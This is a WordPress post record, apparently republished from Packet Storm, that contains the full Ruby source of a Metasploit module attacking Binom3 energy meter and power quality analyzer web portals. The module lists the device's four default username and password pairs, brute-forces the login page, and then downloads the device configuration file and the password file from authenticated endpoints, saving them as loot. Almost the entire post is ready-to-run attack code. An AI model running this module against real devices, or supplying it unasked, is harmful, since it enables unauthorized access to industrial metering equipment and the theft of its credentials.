{"id":59343,"date":"2024-09-01T19:20:13","date_gmt":"2024-09-01T16:20:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181078\/binom3_login_config_pass_dump.rb.txt"},"modified":"2024-09-01T19:20:13","modified_gmt":"2024-09-01T16:20:13","slug":"binom3-web-management-login-scanner-config-and-password-file-dump","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/binom3-web-management-login-scanner-config-and-password-file-dump\/","title":{"rendered":"Binom3 Web Management Login Scanner, Config And Password File Dump"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::AuthBrute<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize(info={})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Binom3 Web Management Login Scanner, Config and Password File Dump&#8217;,<br \/>&#8216;Description&#8217; =&gt; %{<br \/>This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer<br \/>management login portal(s), and attempts to identify valid credentials.<br \/>There are four (4) default accounts &#8211; &#8216;root&#8217;\/&#8217;root&#8217;, &#8216;admin&#8217;\/&#8217;1&#8217;, &#8216;alg&#8217;\/&#8217;1&#8217;, &#8216;user&#8217;\/&#8217;1&#8217;.<br \/>In addition to device config, &#8216;root&#8217; user can also access password file.<br \/>Other users &#8211; admin, alg, user &#8211; can only access configuration file.<br \/>The module attempts to download configuration and password files depending on the login user credentials found.<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.cisa.gov\/uscert\/ics\/advisories\/ICSA-17-031-01A&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2017-5162&#8217;]],<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Karn Ganeshen &lt;KarnGaneshen[at]gmail.com&gt;&#8217;<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DefaultOptions&#8217; =&gt; { &#8216;VERBOSE&#8217; =&gt; true })<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.<br \/>OptString.new(&#8216;USERNAME&#8217;, [false, &#8216;A specific username to authenticate as&#8217;, &#8216;root&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [false, &#8216;A specific password to authenticate with&#8217;, &#8216;root&#8217;])<br \/>], self.class<br \/>)<br \/>end<\/p>\n<p>def run_host(ip)<br \/>unless is_app_binom3?<br \/>return<br \/>end<\/p>\n<p>each_user_pass do |user, pass|<br \/>do_login(user, pass)<br \/>end<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: opts[:service_name],<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>last_attempted_at: Time.now,<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::SUCCESSFUL,<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>#<br \/># Check if App is Binom3<br \/>#<\/p>\n<p>def is_app_binom3?<br \/>begin<br \/>res = send_request_cgi(<br \/>{<br \/>&#8216;uri&#8217; =&gt; &#8216;\/&#8217;,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>}<br \/>)<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE<br \/>print_error(&#8220;#{rhost}:#{rport} &#8211; HTTP Connection Failed&#8230;&#8221;)<br \/>return false<br \/>end<\/p>\n<p>if (res &amp;&amp; res.code == 200 &amp;&amp; res.headers[&#8216;Server&#8217;] &amp;&amp; (res.headers[&#8216;Server&#8217;].include?(&#8216;Team-R Web&#8217;) || res.body.include?(&#8216;binom_ico&#8217;) || res.body.include?(&#8216;team-r&#8217;)))<\/p>\n<p>print_good(&#8220;#{rhost}:#{rport} &#8211; Binom3 confirmed&#8230;&#8221;)<\/p>\n<p>return true<br \/>else<br \/>print_error(&#8220;#{rhost}:#{rport} &#8211; Application does not appear to be Binom3. Module will not continue.&#8221;)<br \/>return false<br \/>end<br \/>end<\/p>\n<p>#<br \/># Brute-force the login page<br \/>#<\/p>\n<p>def do_login(user, pass)<br \/>print_status(&#8220;#{rhost}:#{rport} &#8211; Trying username:#{user.inspect} with password:#{pass.inspect}&#8221;)<br \/>begin<\/p>\n<p>res = send_request_cgi(<br \/>{<br \/>&#8216;uri&#8217; =&gt; &#8216;\/~login&#8217;,<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;headers&#8217; =&gt; { &#8216;Content-Type&#8217; =&gt; &#8216;application\/x-www-form-urlencoded&#8217; },<br \/>&#8216;vars_post&#8217; =&gt;<br \/>{<br \/>&#8216;login&#8217; =&gt; user,<br \/>&#8216;password&#8217; =&gt; pass<br \/>}<br \/>}<br \/>)<\/p>\n<p>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE<\/p>\n<p>vprint_error(&#8220;#{rhost}:#{rport} &#8211; HTTP Connection Failed&#8230;&#8221;)<br \/>return :abort<\/p>\n<p>end<\/p>\n<p>if (res &amp;&amp; res.code == 302 &amp;&amp; res.get_cookies.include?(&#8216;IDSESSION&#8217;))<\/p>\n<p>print_good(&#8220;SUCCESSFUL LOGIN &#8211; #{rhost}:#{rport} &#8211; #{user.inspect}:#{pass.inspect}&#8221;)<\/p>\n<p>report_cred(<br \/>ip: rhost,<br \/>port: rport,<br \/>service_name: &#8216;Binom3&#8217;,<br \/>user: user,<br \/>password: pass<br \/>)<\/p>\n<p># Set Cookie<\/p>\n<p>get_cookie = res.get_cookies<br \/>cookie = get_cookie + &#8216; NO-HELP=true; onlyRu=1&#8217;<\/p>\n<p># Attempting to download config file<\/p>\n<p>config_uri = &#8216;~cfg_ask_xml?type=cfg&#8217;<\/p>\n<p>res = send_request_cgi({ &#8216;method&#8217; =&gt; &#8216;GET&#8217;, &#8216;uri&#8217; =&gt; config_uri, &#8216;cookie&#8217; =&gt; cookie })<\/p>\n<p>if res &amp;&amp; res.code == 200<br \/>vprint_status(&#8216;++++++++++++++++++++++++++++++++++++++&#8217;)<br \/>vprint_status(&#8220;#{rhost} &#8211; dumping configuration&#8221;)<br \/>vprint_status(&#8216;++++++++++++++++++++++++++++++++++++++&#8217;)<\/p>\n<p>print_good(&#8220;#{rhost}:#{rport} &#8211; Configuration file retrieved successfully!&#8221;)<br \/>path = store_loot(<br \/>&#8216;Binom3_config&#8217;,<br \/>&#8216;text\/xml&#8217;,<br \/>rhost,<br \/>res.body,<br \/>rport,<br \/>&#8216;Binom3 device config&#8217;<br \/>)<br \/>print_status(&#8220;#{rhost}:#{rport} &#8211; Configuration file saved in: #{path}&#8221;)<br \/>else<br \/>print_error(&#8220;#{rhost}:#{rport} &#8211; Failed to retrieve configuration&#8221;)<br \/>return<br \/>end<\/p>\n<p># Attempt to dump password file<br \/>config_uri = &#8216;~cfg_ask_xml?type=passw&#8217;<br \/>res = send_request_cgi({ &#8216;method&#8217; =&gt; &#8216;GET&#8217;, &#8216;uri&#8217; =&gt; config_uri, &#8216;cookie&#8217; =&gt; cookie })<\/p>\n<p>if res &amp;&amp; res.code == 200<br \/>vprint_status(&#8216;++++++++++++++++++++++++++++++++++++++&#8217;)<br \/>vprint_status(&#8220;#{rhost} &#8211; dumping password file&#8221;)<br \/>vprint_status(&#8216;++++++++++++++++++++++++++++++++++++++&#8217;)<\/p>\n<p>print_good(&#8220;#{rhost}:#{rport} &#8211; Password file retrieved successfully!&#8221;)<br \/>path = store_loot(<br \/>&#8216;Binom3_passw&#8217;,<br \/>&#8216;text\/xml&#8217;,<br \/>rhost,<br \/>res.body,<br \/>rport,<br \/>&#8216;Binom3 device config&#8217;<br \/>)<br \/>print_status(&#8220;#{rhost}:#{rport} &#8211; Password file saved in: #{path}&#8221;)<br \/>else<br \/>return<br \/>end<br \/>else<br \/>print_error(&#8220;FAILED LOGIN &#8211; #{rhost}:#{rport} &#8211; #{user.inspect}:#{pass.inspect}&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::AuthBruteinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initialize(info={})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Binom3 Web Management Login Scanner, Config and Password File Dump&#8217;,&#8216;Description&#8217; =&gt; %{This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzermanagement login portal(s), and attempts to identify valid credentials.There are four (4) &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59343","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59343","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59343"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59343\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59343"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59343"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59343"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}